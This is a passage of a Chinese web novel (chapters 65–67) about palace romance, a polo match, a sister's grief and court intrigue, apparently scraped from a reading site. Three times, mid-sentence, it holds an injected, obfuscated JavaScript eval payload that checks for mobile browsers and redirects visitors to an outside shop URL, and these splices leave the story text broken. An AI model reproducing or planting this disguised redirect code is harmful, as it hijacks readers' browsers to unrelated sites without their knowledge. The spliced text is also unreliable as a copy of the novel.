夏萱见他屏退众人,问道:“你是还有什么话要对我说吗?” “王妃大人忙碌,看来,本王还需派个管事的嬷嬷来帮衬你。岳父大人将你培养得才华横溢,不是为了埋没于府务之间的。”叶均说完,拉着夏萱坐到了案几前:“别总是绷着,放松一日也无妨,孩子们也都大了,弟妹们都成年了,给他们些自由。” 叶均提笔,将案几上未完的诗句补上“援琴鸣弦发清商,短歌微吟不能长”,后将笔给了夏萱。 夏萱顿住,抬头望向他,只见他目光温柔如水,嘴角的笑意似乎要将她的心融化,身体里紧绷的那根弦渐渐松弛下来,她犹豫了一下,接过笔继续写下“皎皎明月照我床,星汉西流夜未央。牵牛织女遥相望,尔何独辜限河梁。” 透过这《燕歌行》,叶均似乎看到了清冷的夜里,她孤单瘦弱的背影和清冰冷疏离的眼泪,他感慨道:“这么漂亮的字,不该写出这样幽怨。” “这字已经荒废好久了……”此刻,夏萱才算是放松下来。 叶均从怀中拿出他们定情的玉簪,说道:“你将玉簪留在府里,怕是你将我们的从前全都忘了。” 她看着玉簪,往事如烟一幕幕在眼前飘过:“我知你待我的心从未变过,成婚前,你遣散了侍婢,在王府里种了木棉花;婚后,为我遮风挡雨,我多年未育,你也不曾纳妾,未令我陷入宅院之争,这些,我是很感激的。” “你本就不该承受这些,我也只是想与你过寻常人家的生活,现在这样,原本就是不得已。”叶均说完将玉簪簪在了她的发髻间,而后又在她的脖颈上方、耳垂后面深深一吻。 夏萱只觉一阵酥麻,向外躲了一下,反而被叶均搂得更紧了,仿佛又回到了新婚燕尔,她嗔怪道:“轻浮。” 如此,幽情满相思,不道云海深。 午后,夏老夫人带着孩子们先行归来,孩子们拿着玩具都高兴得不得了,叶皓则带着叶岚去了酒肆,晚间归来时已是步履虚浮。 夏萱本想发作,叶均将其拦了下来,只道:“难得轻松几日,由他们去吧。” 第二日便是归期,叶均想夏萱与他一同回去,夏萱想了想,还是打算留在宣州。 琼琚有些不解地问道:“王妃不是已经原谅殿下了么?为什么不回京去?” 夏萱沉吟了一下说道:“如今这个情况,多在一起反而更生嫌隙。” 琼琚:“王妃在心里,是不是还没有释怀?” 夏萱心中略过一丝无奈:“没有释怀又能怎样?年少情深抵不过岁月漫漫,到今时今日,他还能屈尊来哄我高兴,只这一点,我便不能再苛责什么了。” 琼琚小声问道:“避孕的汤药已熬好,王妃当真要喝吗?” 昨日如胶似漆之际,他也说过若再有子嗣一定要留下,可眼下却不是好时机,她沉吟了一下,说道:“端来吧,现在这个时候不能再多添牵挂了。” 她望着远去的车辙印,心尖处涌起一股苦涩的滋味。 深冬的寒意将散未散之时,师英玉回来了,拜托叶皓送信给暖暖。 叶皓左右无事,便去宣州送信,暖暖思念师英玉,于是同他一起归京,仍旧住在信王府淡云阁。 夏萱正愁此事,暖暖自能行动后,虽看着已大好,可却是夜里睡不到两个时辰,白日里更是没有精神,终日昏昏沉沉。 自叶皓带她饮了两次酒后,夜里倒是能睡着了,酒却越喝越多,可酒终究是伤身的,长此以往也不是办法,她想,若是有闺中密友为其疏解,未尝不是一件好事,便同意了她归京。 师英玉知暖暖失了孩子,本想劝慰劝慰,但见她未有惆怅,便不再提及此事,二人如闺阁小姐妹一般,日日在城中闲逛。 叶皓看着暖暖,当真精神了不少,似乎她真的就这样放下了,可他总是觉得哪里不对。 周太尉将他安排在了京中,暂领神武军,他近来颇为忙碌,无暇多想,见暖暖开心,便随她们去了。 神武军是皇室卫队,是帝王出行和举行国事的仪仗队,本是中看不中用的队伍,但已被周玉阶秘密培养成了一支颇具战斗力的队伍,叶皓带着他的亲军加入,更加壮大了这支队伍的力量。 师英玉却对叶皓颇为不满,认为他贪恋富贵,早就忘了了当初她祖父的嘱托,她打算出了二月,便去军中找她伯父。 天气回暖,草长莺飞,城外踏春的人渐渐多起来。 宣相良夫人在城外的石城湖畔组织了击鞠赛,一来是彰显自己的权势,二来为让世家子女互相相看,每次的踏青会后都会传出佳音,整个春日里都是喜气洋洋的。 叶岚裹着大氅慵懒地坐在位置上,昨日她与师英玉饮酒到宵禁,今晨又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073908|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早早就叶皓带来看击鞠,不免有些困倦。 师英玉倒是精神,她身着一身暗红色窄袖锦衣,眉眼间英气十足兴致勃勃地看着人来人往。 今日人物众多,爱热闹地凑成几个人群,纷纷捶丸、投壶;不爱热闹的,便在湖边钓鱼、观景。 师英玉笑话暖暖:“今日不算冷,不用裹得这么严实。” “我觉得冷。”暖暖往大氅里缩了缩,心中却在想:现在的临闾关,还在下雪吧。 师英玉:“一会跟我比一场,就暖和了,可别说身子弱,这人那,越不动身子越弱……” 二人说着,叶皓投壶回来,坐到了师英玉对面,师英玉起身行了一礼,复而又坐下。 叶皓接过韦素递上的帕子擦着手,问道:“怎么不去玩玩?在这干坐着,有什么意思。” “只看这些公子小姐,就有意思得很。”师英玉看着五颜六色的少男少女们,冷笑着回答。 叶皓不理她,自她与暖暖相熟,与他的接触也渐渐多起来,可她也渐渐对他不恭敬起来,他转向暖暖:“冷的话,去那边帐篷里。” 暖暖小声说道:“我是担心被认出来,又惹得许多闲言碎语。”以前她虽不大出门,但见过叶岚之人也有不少,且她的容貌也无太大变化。 叶皓却不在意:“无妨,以会你跟着我就好了。” 二人耳语之时,忽然听见一男子声音:“拜见信王殿下。” 叶皓回头看到说话之人,便笑着起身说道:“是文则呀,不必多礼。”之后将于文则介绍给众人:“这是长兴郡主幺孙,于文则。” 又将众人介绍给于文则:“这是我妹妹、叶青,这是师云杰老将军孙女,师小姐。” 暖暖和师英玉起身见礼。 于文则对暖暖施礼道:“听闻庆王家认回了一个女儿,想必这位就是郡主吧。”说着用余光扫视了一眼,只见郡主一袭粉衣,如明珠生晕、美玉荧光,这一瞥便有些不舍得错开目光,直至听到叶皓的声音才回过神来。 叶皓说道:“是的,论辈分是咱们同辈,叶青还要称呼你一声‘兄长’。” “不敢当、不敢当。”于文则说着又将目光转向师英玉,看到她后,心中却有些诧异:怎么是她? 师英玉也白了他一眼,道了声“告辞”,拉着暖暖走了。 这边叶皓因为冷逸尘传话之事,再次向于文则道谢,又问道:“宣相真是好人缘,连你都请来了。” 于文则摆摆手:“哪里是我想来的!殿下也知我自幼随父母在任上,与京中并不熟识,只是成王殿下必要叫我来,说是一起击鞠,可他今日又却说去看王妃了。” 竟是叶均将他诓来,想必是有意提携他,叶皓也不深究,只说道:“你来也好,今日京中大半的世家弟子都来了,也好结交结交。” 于文则却不感兴趣:“那倒是不用,该熟悉的自然会熟悉。只是殿下说这成王妃,不在王府住着,怎么反倒跟个外室是的……” 叶皓不愿外人多谈论他嫂嫂,转移了话题:“一会一起比一场?” “好啊,只是还要再多叫几个人才热闹。”于文则说着,目光却看向了暖暖那边。 那边暖暖问师英玉道:“你们认识?” 师英玉恨恨地说道:“冤家路窄……” 65. 试剑暗生疑 原来,前几日师英玉归京途中,所骑的马被一男子的猎犬惊吓到了,害得她差点从马背上摔下来。 师英玉一看他的穿着打扮,便断定他是京中飞苍走黄的纨绔之辈,言语间便没有客气:“哪里来的登徒子,溜犬都溜到官道上来了?” 此人便是于文则,他那犬也是追着鸟儿而来,哪管它什么官道私道,他见马背上的女子居高临下地看人,一看就是蛮横无理的世家女。 他本欲道歉,女子却不由分说地将他斥责一顿,他心中自是不平,言语间没有让步:“我的猎犬逐鸟而来,不想惊了姑娘的驾,不过姑娘既然骑术不精,就别骑马了吧。” 师英玉自幼在军营,骑术是祖父亲亲教,居然有人调侃她骑术不精,真是奇耻大辱,回怼道:“堂堂七尺男儿,不去建功立业,反而在这里荒废时间。谁知你是猎鸟还是猎兽?” 关于狩猎,南北有异。南方重春蒐夏藐,北方重秋狝冬狩,皆行事于农隙。春蒐,指春季猎取没有怀胎的野兽;夏藐,指夏季猎取残害庄稼的野兽。秋狝,指秋季猎杀伤害家禽的动物。冬狩,指冬季围猎,不加区分,皆可猎取。 师英玉斥责于文则猎兽,便指责他或是在春日里猎杀母兽,对生命无敬畏之心。 于文则寸步不让:“姑娘真是口齿伶俐,三两句话就定了在下的罪,可这个罪名在下可不担。” 正硝烟弥漫之时,师家在京中接引的人到来,才暂时断了这火气,师英玉冷哼一声,随队伍离去,但心中仍是愤愤不平。 今日再见,得知他又是叶皓故交、皇室亲眷,更生了三分厌恶,不愿与他多言,便拉着暖暖去投壶,不想她竟能十中□□。 师英玉拍着手对她说道:“看你病恹恹的,这准头还行。” 暖暖心知这与她练了一段时间的飞镖有关系。 周围的人见暖暖眼生,也不好贸然去询问是哪家姑娘,于私下议论纷纷,有记性好地也说道:她倒是与昭阳公主有几分想象。舒雁与画眉想要去辩解,都被暖暖挡了下来。 正在众人议论之时,恰巧文瑶赶来,解释道这就是先庆王失散的幺女,并对暖暖行礼问安,这才解了众人之疑。 众人又转了话锋:“原来与昭阳公主是堂姊妹,怪不得有六七分相像。” “这就是信王殿下带回的女子,听说至今还住在信王府。” 众女子一听她是信王府的人,便纷纷上来问安,或有意结交、或倾慕于信王,更有甚者拉上她的手开始攀亲托熟。 暖暖不喜这样地亲近,客气几句便撂开手拉着师英玉回到了座位处,未料于文则与叶皓谈得很得投机,一直未走。 师英玉见了于文则还想嘲讽几句,此时,却听见击鞠开始的锣声。 击鞠本是军队中训练军士的一种训练,后逐渐演变为民间娱乐,正规的击鞠赛对战双方各有九人或七人,但到了民间,队伍人数就视场地情况而定,也可自己拟定,且每一局都设有彩头,彩头由主办方提供。 看了一局后,师英玉说道:“这有什么意思嘛,有人连马都骑不稳,还好意思上场。” 于文则撇撇嘴,瞥了她一眼:“师姑娘未免太苛刻了吧,这击鞠本就考验马上功夫,京中人多不善马术,师姑娘不也是一样吗……呵呵……” 师英玉听了,轻蔑地说地:“我不善骑马也比某些人强,只知逐犬放鹰,大概连马都不会骑吧。” 暖暖考虑到师英玉现在只身在京城,不好与人有过节,于是悄悄地摇了摇她的胳膊,给她一个眼神,示意她不要逞口舌之快。 师英玉却不以为然,依旧对于文则翻了个白眼。 叶皓不明就理,但看热闹不嫌事大,对他二人说道:“既然二位互相不服,那就上场比一局。” “好啊!”二人异口同声。 于文则又向叶皓说道:“劳烦殿下与师姑娘一队,她是女流之辈,输了球哭起来,我反倒落个欺负弱女子的嫌疑。” 师英玉起身,仰着下巴说道:“哼,我一人战你,足矣。你也去找个队友,免得输了球说我以多欺少。” 于文则看向暖暖,问道:“不知郡主可愿与我同战。” “我?”暖暖疑惑,怎么自己也被卷进来了。 叶皓与师英玉也希望她多动一动,便也怂恿她参战,她无奈只好答应他们。 叶皓对她骑术的认知还停留在送她出嫁之时,于是小声对她说道:“上场只需保护好自己,其它交给文则。” 暖暖点点头:“哥哥放心。” 四人去更衣挑马,准备妥当后正好上一局结束。待四人上场后,依礼将额头点在持鞠杖的手背上向对手致敬,同时也是示意击鞠判官已准备好。 击鞠判官高喊:“甲队:叶皓、师英玉,对战乙队:叶青、于文则,本场彩头,嵌宝镶玉花首银簪一枚。”说罢敲响了铜锣。 四人拍马而出。 观战的人越来越多:一部分人是为了看信王殿下的英姿,一部分人是为了看新来的郡主,还有一部分人单纯是为了看热闹:毕竟只有四人的击鞠,多半是因个人恩怨而凑的局。 暖暖的马跑得很快,风在她耳边呼啸,有一种久违的感觉。她与叶皓都自觉地将地让给师英玉和于文则,一番酣战,最终乙队以两球之先获胜。 师英玉不服,非要二人单独再战一场。 于文则却推辞道:“不想姑娘与郡主的骑术如此了得,师姑娘,之前是在下唐突了,在此向姑娘道歉。”说完,双手奉上彩头。 师英玉见他道歉,态度有了一丝缓和:“不必,输了就是输了,等有机会再比比别的,我定能赢了你。” 四人以茶代酒,碰杯后均一饮而尽。 叶皓见暖暖面色有些发红,说道:“怎样?是不是累了?” 暖暖:“还好,休息一会便好了。” 叶皓:“我竟不知你的马骑得这得好了。” 暖暖低头不语,叶皓随即便知肯定是冷逸尘教的,自悔失言,于是咳了一声转移了话题:“饿不饿,一会咱们去三元楼点个席面。” “好。”暖暖想着三元楼的百花酿,便痛快地答应了。 此时有人来约叶皓、于文则去投壶,四人约定投壶回来便一起赴宴。 暖暖与师英玉起身行礼相送,还未及坐下,师英玉示意暖暖向右边看,暖暖顺着她的目光看去,只见一个身着艳丽服侍的女子坐在一男子身侧,将剥好的桂圆送到男子身前,男子却未接,直接拉过她的手将桂圆送入口中。 一番动作,好不暧昧。待看清女子面容,暖暖只觉惊诧,她看到的不是别人正是锦瑟,但还是不确定地说道:“怎么是她?” 师英玉说道:“因为是她,我才让你看的,那男子是杜纯之,杜卫次子。我说什么来着,这个女子不宜家室。” 暖暖有些怅然,那日揽月亭里的二人,真是一对璧人。在宣州那晚,暖暖向叶皓提及锦瑟,叶皓避而不谈,如今又看到这一幕,难道二人已经分手?难道之前只是逢场作戏?可眼神是不会骗人的。 此时,男子摸了一下锦瑟的手,笑吟吟地离开了,独留锦瑟一人。暖暖不顾师英玉阻拦向锦瑟走去,并示意舒雁和画眉不要跟来。 锦瑟见暖暖过来,眼底泛起了一丝惊慌,但很快镇定下来,起身见礼。 暖暖坐下,想问问她为何会和别的男子在一起,可这话却不知要如何问出口,反而是锦瑟先开口,笑道:“郡主是来责问奴家的吧。” 叶岚摇摇头,她自知没有资格去问,只说道:“我只是有些不明白。” 锦瑟微微一笑:“郡主有什么不明白呢?需要奴家来解惑?” 暖暖:“你……不喜欢我哥哥?” “殿下逸群之才,又风姿绰约,人人皆仰慕之。” “你知道我说的是什么。” 锦瑟又是一笑,说道:“郡主还是年纪轻,没经历过这世间的悲欢离合,也不知这世间有许多的无奈。奴家与殿下,只是萍水之交,郡主却认真了。” 无奈,又是无奈,这说法倒是与叶皓一致,暖暖不甘:“可我看得出,我哥哥他心里有你。” “奴家知道,奴家也知道与殿下之间深渊相隔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073909|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下那年多饮了几杯,便说了要奴家入王府的话,后来又说要将奴家别屋令居,不过奴家这绿鹦哥是做不了笼里的金丝雀的。敢问郡主,殿下可能像别人一样,将我正大光明地带出来见世人吗?” 一番话,暖暖无言以对,以己度人,这世间看似自由自在有很多选择,可事实却是完事不由人,更何况锦瑟身在乐籍。她由衷地说地一句:“我想办法替你脱籍。” 这话让锦瑟心中竟多了一丝温情,但她还是说道:“脱籍不是件容易的事,郡主的好意,锦瑟心领了,但……” 此时她看见杜纯之远远走来,于是催促暖暖:“郡主别让殿下等着急了。” 暖暖我以为锦瑟误会是叶皓让她过来,便说道:“不是我哥哥让我来的,是我自己要问的。” 锦瑟起身,有些着急:“郡主快些走吧,杜公子回来了,郡主一定要离他远些。” 暖暖这才反应过来,快速起身离去,后面还听见杜纯之问锦瑟:“她是哪家姑娘呀?” 锦瑟娇嗔道:“怎么见到貌美的便要问一问?早知这样,下次我不来了,省得碍你的眼。” 暖暖怅然若失地回到座位上,依旧用大氅围住,只觉心中憋闷。 席间只有叶皓一人,见她这副模样,便问道:“这是怎么了,脸色这么不好,谁惹你生气了?” 暖暖自己也不知道在生什么气:“没有,玉姐姐呢?” 见她不愿说,叶皓也不深究:“她呀!还是气不过文则赢了她,二人比骑射去了,这俩人是不是有什么过节?” 暖暖:“我想去骑马。” “啊?”叶皓有点惊讶,不是刚说不想动么?怎么这会儿又想骑马,不过难得今日出来,都由她吧,于是说道:“那去骑我的马吧,我让季萧和韦素保护你。” 暖暖携舒雁、季萧、韦素来到马厩,正撞见师英玉与于文则跑马归来,二人依旧未分胜负,师英玉又提议比试比试武器,可这又不是军营,哪里来的武器,于是二人借了季萧和韦素的剑。 暖暖不管他们,独自去骑马,将马骑得几乎要飞起来,季萧和韦素在后面追得心惊胆战。 这匹马的确是匹好马,连燕北珍珠也不如它,该死,怎么又想起了从前,话说珍珠,也该有新主人了吧。一番驰骋,让暖暖缓心中释放了不少。 一圈骑下来,师英玉与于文则还在比试,也不知是第几场了,地上还有几根斩断的树枝,看二人的身影,毫无停下来的意思。 暖暖能看出于文则的剑术是经过系统训练的,这种剑术花式繁多,可杀伤力却不够,而师英玉的剑术是家传绝学,出手既准又狠。 渐渐地,于文则竟有些不敌,暖暖看着看着,便也想试两招,于是又拿了叶皓的剑走上前,说道:“玉姐姐,让我试几招。” 师英玉闻言后退,将主场让给了暖暖。 试过几招之后,于文则表情有些微妙,心里不禁诧异:这女子究竟是何人?同时他也能感到暖暖手腕虚浮,出剑无力,于是点到为止,停了剑招,行拱手礼,道了声“承让”。 此时,叶皓带画眉过来,说道:“你们这里倒是热闹,看暖暖这一头汗,小心别着凉。”说完拿出帕子递给暖暖,并亲自将大氅为暖暖披上,然后继续说道:“那边也没什么意思,不必回去了。我已让人在三元楼订好了席面,我们一同去。” 于文则看着叶皓的这般行事,小声感叹道:“怪不得殿下颇受众人青睐,原来如此体贴。” 师英玉路过他:“你小声嘀咕什么呢?” 于文则拱手行礼;“师姑娘剑术惊人,在下佩服、佩服。” 师英玉:“有机会的话,待到军中再较高下。” 四人同到三元阁,酒菜已备好,只待东风来,一众人将诸般烦恼暂且抛下,推杯换盏,好不热闹。 酒至半酣,暖暖觉得十分困倦,于是同师英玉辞了他们,回府去了,留下叶皓与于文则意犹未尽。 于文则心中疑惑再也忍不住,便问叶皓:“敢问殿下,是在何处寻得郡主的?” 叶皓闻言,心中一惊。 66. 心事难遮掩 叶皓没有想到于文则会这样问,心中生了几分疑惑,放下酒杯谨慎回答:“在边关……怎么?” 于文则见他略带紧张,想他有难言之隐,赶紧缓和道:“哦哦,没什么……只觉得郡主气质非凡、仪态不俗,不像是流落民间的样子,倒真像个世家贵女的模样。” 叶皓略松了口气:“这些年她吃了很多苦,好不容易回来了,还希望以后不要再提及此事了。” 二人又饮了几杯,各自归家去了。 于文则回去后,反复回忆揣摩着郡主的招剑,愈发确定是门派所出,可却看不出来是哪个门派。 她一个小小的女子,怎么会和门派有关系,她是庆王后人,为何不住庆王家,偏偏住在信王府;又自边关而来,保不准是祁国或者别的国家的密探,这信王也不知着了她什么道,竟然如此偏袒她,这么一想,事情必定不简单。 心中疑惑不解,他找了个合适的机会,去问叶均,叶均亦是维护暖暖,并告诉他:“郡主是皇室之人,切莫再有猜忌。” 见得不到答案,便又悄悄问了别人,如何说的都有,他思来想去,越来越觉得这郡主不一般,看着柔柔弱弱,其实深藏不露,竟还能让两位殿下都对她深信不疑,他决定找机会再试试他的功夫,于是他给信王连下了三次拜帖。 第一次,信王去了神武营,不在府中也未能得见郡主;第二次,郡主约了师英玉去上香,他与信王下来半日的棋,又未见郡主;第三次,信王以为他有急事,便约在了神武营相见,二人射了半日的箭。 对于于文则短期内三番两次地拜访,又没有什么正经事,叶皓也有些不解,只当他是在京中无趣,便向他推荐了几处勾栏瓦舍,意思是:京中繁华,你若无事,可以去玩玩。 于文则只得再寻机会。 三月初绿意盎然,梁京十里亭,暖暖送师英玉离开。 离别总是惆怅,师英玉说道:“如果京中无聊,就到军中去找我,军中可没那么多规矩绳墨、人情世故。” 暖暖笑着答应,看着车马远去不见踪迹,她也折返,一路上只见草吐新芽,花开新蕊,又是一年好时光,真该出去走走,于是她在一处水塘边叫停了马车。 暖风带着清新的泥草的味道,她深吸一口,不知怎地又想起临闾关的春天,那里的春天来得那样迟,又走得那样快,临闾关的人,还在吗? “暖暖……”叶皓的声音从后面传来,暖暖转身回头正看见他从马上下来,边走边问道:“你怎么在这里?” 暖暖:“哥哥,玉姐姐今天走,我来送送她。” “你又胡思乱想什么呢?”叶皓看着她的眼睛微微泛湿。 “没……没有……” “都写在脸上了……”叶皓捡起一块石头,打了个水漂后继续说道:“走,带你去吃馄饨,三清观附近有一家小摊,馄饨做得特别好吃。” “好呀!”暖暖今日起得早,没什么胃口,出来这半日还真有些饿了。 叶皓刮了一下她的鼻头,笑道:“还和小时一般,离这里不远,走过去吧。暖暖呀,你记着,遇到多大事都要吃好喝好,别亏待了自己,吃饱了穿暖了才有力气去解决。” 暖暖调侃道:“哥哥真是年岁大了,居然像三哥一样开始说教了。” “我也是说给自己听。” 二人走了两射之地,便看见卖馄饨的摊子,这个时候还未到晌午,摊上并没有食客,灶上的水还没有烧开,摊主正在忙着包馄饨。 叶皓上前说道:“老板,生意兴隆啊!每人来一碗馄饨。” “借客官吉言,稍等,马上就好。”摊主见来人随从侍婢众多,料其不凡,立即拍了拍手上的面,往灶里添了几根木柴。 叶皓捡了个座先坐下了,暖暖刚想坐,舒雁便掏出手帕铺在了小椅上,暖暖顿了一下,还是坐了上去。 待二人坐定后,其余人也都找位置坐下,几乎将这个摊坐满,舒雁依旧侍立暖暖身后。 叶皓看着舒雁:“在外面不必这样拘谨,去坐吧,我与郡主说说话。” 舒雁行告退礼后叶皓说道:“在京城就是这样拘束人。” “神武营怎么样?”暖暖边问边看着摊主掀开锅盖,白色的水汽迅速冲出来,弥漫在空中,将摊主笼罩起来,馄饨入滚水,水汽又渐渐散开。 “不谈公事。”叶皓转向摊主嚷道:“可有佐食的小菜?” “有,客官稍等。”摊主也利落地盖上锅盖取出一个坛子。 感受着这方寸间烟火气、江湖气具足,暖暖觉得很是舒服,她问道:“你怎么知道这里的馄饨好吃?” “这街头巷尾的美食才是真美食。” “这句户话好像在哪里听过。”有那么一瞬,暖暖觉得似曾相识。 叶皓直言:“是长风和你说过吧,这句话我和他也说过。” 这话的确是冷逸尘说过,暖暖被迫陷入回忆,心中一阵刺痛,犹如被荆棘缠住一般,她克制住思绪,说道:“不提他。” “你放不下他,这个问题,不要回避,你嘴上说着都过去了,可你心里坎一直没有过去,你呀!恨他是真的,想他也是真的。”她的心思瞒不过叶皓。 暖暖的心事被戳穿,低头不语,她已下定决心将他忘记,可却总是在无意间又想起他,要忘记一个人太难。 此时,摊主端来了一碟小咸菜:“酱八宝,客官慢用。” 叶皓继续说道:“他是那种内心善良的人,就是就算穷途末路,还想着分自己的饼给比自己饿的人吃。他这种人心软、容易吃亏,所以他护不住你,有时连自己都护不住。但正是因为他本身就很好,他才会对别人好,这也是我对于你嫁给他这件事,没有担心的原因。我知道他一定会好好待你。” 这时,摊主端了一碗馄饨放在了叶皓面前,又端了一碗放在暖暖面前,舒雁上前来,将筷子仔细地擦过后奉给郡主。 叶皓又笑道:“舒雁,走了半日你也饿了吧,快去吃些,你这样,人家以后怎么做生意。”说完吹了吹自己碗里的馄饨,对着摊主说道:“再来一碗。” 一番话让舒雁有些不知所措,暖暖给了她一个安慰的眼神并说道:“去吧。” 叶皓吃馄饨的样子,全然不似京中贵公子,他边吃边说道:“别看了:“趁热吃……刚才说到哪里了?” “所以,你们认识不告诉我,让我担惊受怕。”暖暖又想到出嫁前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073910|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有意瞒着自己一事,心中还是不满。 叶皓放下筷子:“这个问题,我早就想同你解释了,却一直没有机会,其中原因有二:第一,以前已经说过了,我们有约定;第二,我觉得还是让你们自己去了解比较合适,我说了之后,反而会影响你对他的感受。夫妻相处之道,需个人慢慢去领会。” 暖暖夹了一个馄饨放在勺子里,晾凉后吃掉:“味道不错……你们倒是很有默契,只瞒着我一个人。” “所以我们才能做了这么多年的朋友,虽然多年未见,情谊丝毫未减。重峪关一战后我的确也恨他,不愿你再回去,可这半年经历了这些事,倒是让我希望你们能再续前缘。”时间会冲淡过往,叶皓现在觉得不该让有情分离。 可是已经回不去了!暖暖默默地听着,吃了几个馄饨后才说道:“叶青现在的日子过得很好。”而后转移了话题:“你是不是经常吃这些?” 叶皓端过第二碗馄饨,回答道:“在外行走,有时吃了上顿没下顿,能在路边吃碗热饭、喝口热茶,已是十分难得了。” 暖暖有些羡慕:“什么时候我也能去行走江湖?” “可别,你就在王府荣华富贵一生,别去受这个苦。” 暖暖听了打趣道:“那哥哥可得养我一辈子了。” “哥哥养到起,快吃,都凉了。” 叶皓的两碗馄饨连汤都没剩,暖暖碗里还剩了一小半,酱八宝里的宝塔菜,脆脆嫩嫩,她倒是吃了不少。 叶皓命季萧结了账,然后说道:“回去吧,我去找三哥说点事情,多喝些水,酱菜有些咸了,大后天花朝节,有场击鞠赛,准备准备,咱们一起去。”说完上马带人离开了。 暖暖一一应下,怀着万般心绪自随车架回府去了。 叶皓骑马直奔成王府,去往书房的路上遇见了杜兰芳,二人见礼问安,他不想与杜兰芳多言,抬腿便走,可杜兰芳叫住他问道:“郡主的身体可大好了?” 提及此事,叶皓心里很是不舒服,也不看她,冰冷冷地答道:“托侧妃的福,已经大好了。” “那日之事是妾不小心,在这里向殿下道歉了。”说罢,欠身盈盈一拜。 叶皓并不看她,冷冷地说道:“不必和本王道歉,以后安分些,离郡主远一些。” “妾真的不是有意的,只是受人蛊惑……”杜兰芳低下头去,手指使劲绞着帕子,显得十分委屈。 叶皓面色沉下来,清亮的嗓音中压抑着怒气:“你不必装得柔弱可怜,我哥哥并不在这里,你说是受人蛊惑?那此前对我嫂的百般欺辱也是受人蛊惑吗?若你心中没有邪念,怎会受人蛊惑;若没有你的授意,她们怎敢如此筹谋。” “殿下为何如此咄咄逼人,好歹殿下也该唤妾一声嫂嫂,妾自小地方来,刁仆欺主,妾也是无可奈何。”杜岚芳鼻尖红红,眼中蓄累了泪。 叶皓一眼便看穿她的心机,毫不留情地说道:“若自身德行可服众,不论你是何处出,自会受人尊敬。你若说刁仆欺主?那就是说成王治下不严,若说无可奈何,那就是你没有能力管王府。” 杜岚芳无言以对,委委屈屈地叫了一声:“殿下……”双睫一眨,一串泪花随即落下。 67. 祸端巧处生 叶皓听了,只觉头皮发麻,乜斜了她一眼,却见叶均走来,原来这一声却不是冲他叫的。 见到叶均,杜岚若身形一委拜倒在地,啜泣道:“殿下要为妾做主,妾不知何处得罪了信王殿下,殿下他竟如此羞辱妾。” 叶均面色如常看不出什么情绪,伸手将她扶起,只说道:“不要在人前失仪。”又唤来侍女:“送侧妃回去休息。”转头安慰杜岚芳:“本王一会再去看你。” 叶皓见叶均如此,冷哼一声,先朝书房去了,可他前脚到了书房,叶均后脚也就赶到了。 叶皓坐到棋盘前,看着残局说道:“快去安慰安慰你那侧妃吧。” 叶均坐到他对面:“先谈正事,你今日来时……” 叶皓没好气地说道:“我没心思谈,刚才你是没听见,认定了自己是受人蛊惑将责任全都推在别人身上,敢做不敢当,阴奉阳违,简直令人不齿。” 叶均也皱起眉头:“你少说两句吧,你也应看到她的可怜之处,花季妙龄嫁于我这样年岁的人。她于我、于杜家,都只不过是颗棋子,换作谁都会心有不甘。你也应该看到我的难处,你这一番,我不知还要花心思与她周旋。” “心有不甘也不能去伤害别人!可怜?可怜之人必有可恨之处。”叶皓重重落下一子,继续说道:“你与她倒是知心,我看你是忘了我嫂嫂为你受过多少苦了。” 叶均冷言道:“她不能与你嫂嫂相提并论。” 叶皓嘲讽道:“你还好意思提我嫂嫂,只怕你已经忘了她了。” “好了,此事以后不要再说了,说正事,杜绍之进京来了,说是述职。”叶均忍着怒气将话题带回朝政上来。 杜绍之手握重兵,进京需经周玉阶调配、朝中同意,叶皓问道:“周太尉同意了?” 叶均反复捻着一颗棋子边思考边说道:“是父皇亲自下的旨,我想多半是荣贵妃的意思。” 叶皓也警觉起来:“难道他们要开始有动作了?” “还不好说,杜绍之进京的目的也还不清楚,他手中掌有半数的杜家军,若他在京中得势,便是大患。我猜想他进京是为了顶替杜纯之,毕竟这杜纯之是烂泥扶不上墙,但杜纯之背后有宣相良,他想顶替,也不是一件容易的事。我如今有曹左相的支持,也不会让杜绍之在京中立足。” 一山容不得二虎,两虎相争必有一伤,叶皓直言:“倒是可以挑拨挑拨他们之间的关系,到时我们坐收渔利。” 叶均点点头,此计与他不谋而合:“我也有这个意思,但是还需要机会,军中,江将军可有来信?” 叶皓:“没有,他刚归军营不久。” 叶均:“嗯,也是有家世的人了。我听你嫂嫂说他与云琴成婚了,为此,你嫂嫂心中很是不快,不过,如此结局也算不错。” 叶皓:“江源是胸有谋略之人,我已告知他,将这两年启用的新将士慢慢调入西南,若杜卫有什么动作,能及时镇压。” 叶均:“不错,军中的布局十分好,程旷小将军也被周太尉派遣了出去,他可栋梁之才,有他助力便更好了。” 